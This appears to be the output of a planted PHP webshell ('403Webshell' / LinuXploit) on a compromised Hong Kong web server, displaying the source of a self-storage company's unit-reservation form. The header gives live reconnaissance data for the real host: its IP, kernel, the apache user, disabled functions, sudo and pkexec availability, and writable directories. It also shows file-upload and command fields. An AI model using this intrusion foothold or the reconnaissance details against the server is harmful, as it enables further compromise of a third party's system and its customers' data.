403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage_bk20210521/en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage_bk20210521/en/reserve.php
<?php
	require_once ('../webadmin/basic_info.php');

	$master_room_info = get_master_room_info_web();

?>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
	<?php require_once ("html_head.php") ?>

	<?php
		if($langcode == "tc"){
			$recaptcha_langcode = "zh-HK";
		}else{
			$recaptcha_langcode = "en";
		}

	?>
	<script src='https://www.google.com/recaptcha/api.js?hl=<?=$recaptcha_langcode?>'></script>

	<script type="text/javascript">
		function check_available_room(master_room_id) {

			var xmlhttp;

			if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari
				xmlhttp = new XMLHttpRequest();
			}
			else {// code for IE6, IE5
				xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			}
			xmlhttp.onreadystatechange = function () {
				if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
					var result = $.trim(xmlhttp.responseText);

					if(result != "1"){
						alert("Not available to reserve this kind of size.");
					}
					//console.log(result);
				}
			}
			xmlhttp.open("POST", "_ajax.php?for=check_available_room", true);
			xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			xmlhttp.send("master_room_id=" + (master_room_id) );
		}

		$(function () {
			$("#billing-form-title").on("change", function () {
				check_available_room($(this).val());
			});
		})
	</script>
</head>

<body class="stretched no-transition">

<?php require_once ("google_analysis.php"); ?>

<!-- Document Wrapper
============================================= -->
<div id="wrapper" class="clearfix">

	<!-- Header
	============================================= -->
	<?php require_once ("html_header.php") ?>

	<!-- Content
	============================================= -->
	<section id="content">

		<div class="content-wrap">

			<div class="container clearfix">

				<div class="heading-block center">
					<h1>RESERVE STORAGE</h1>
					<p>WE CAN RESERVE YOUR UNIT FOR 24 HOURS <span style="color:#28953A; font-weight:bold;">FREE</span></p>
				</div>

				<div class="col-md-12 reserve">

					<h4></h4>

					<p></p>

					<form class="nobottommargin" id="billing-form" name="billing-form" action="reserve_post.php" method="post">

						<div class="form-process"></div>

						<div class="col_half">
							<label for="billing-form-companyname">Unit Size(LxWxH):</label>
							<select id="billing-form-title" name="billing-form-title" class="sm-form-control required">

								<?php
									foreach($master_room_info as $master_room){
										echo "<option value='".$master_room["master_room_id"]."'>".$master_room["size"]."</option>";
									}
								?>
							</select>
						</div>

						<div class="col_half col_last">
							<label for="billing-form-name">Name: *</label>
							<input type="text" id="billing-form-name" name="billing-form-name" value="" class="sm-form-control required" placeholder="Name" />
						</div>
						<div class="clear"></div>

						<div class="col_half">
							<label for="billing-form-phone">Phone: *</label>
							<input type="text" id="billing-form-phone" name="billing-form-phone" value="" class="sm-form-control required" placeholder="Phone" />
						</div>

						<div class="col_half col_last">
							<label for="billing-form-email">Email Address: *</label>
							<input type="email" id="billing-form-email" name="billing-form-email" value="" class="sm-form-control required" placeholder="Email Address" />
						</div>
						<div class="clear"></div>


						<div class="col_full">
							<b>Terms and Conditions:</b><br />
							You hereby agree to the terms and conditions. You are also aware that you are responsible for the timely payment of all fees and for providing In N Out Storage with a valid payment method for payment of all fees.<br /><br />

							You will be charged starting on the day of your move-in to our storage facility. You agree that 2 months rental deposit and at least one month payment are required before commencing our service. By paying online through Paypal, you agree to be automatically billed for the storage fee on the monthly billing date.
						</div>

						<div class="col_full">
							<label for="billing-form-agree"><input id="billing-form-agree" name="billing-form-agree" type="checkbox" value="1" class="required" /> <span style="font-size:18px;">I agree to the terms and conditions</span></label>
							<label for="billing-form-agree" class="error" style="display: block !important;"></label>
						</div>


						<div class="col_full">
							<label for="template-contactform-message">Verification <small>*</small></label>
							<div class="g-recaptcha" data-theme="light" data-sitekey="<?=$google_recaptcha_site_key?>"></div>

						</div>


						<div class="col_full center">
							<button class="button nomargin" type="submit" id="billing-form-submit" name="billing-form-submit" value="submit">CONFIRM</button>
						</div>
					</form>

					<script type="text/javascript">

						$("#billing-form").validate({
						});

					</script>
				</div>
			</div>

		</div>

	</section><!-- #content end -->

	<!-- Footer
	============================================= -->
	<?php require_once ("html_footer.php") ?>

</div><!-- #wrapper end -->

<!-- Go To Top
============================================= -->
<div id="gotoTop" class="icon-angle-up"></div>

<!-- Footer Scripts
============================================= -->
<script type="text/javascript" src="../js/functions.js"></script>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit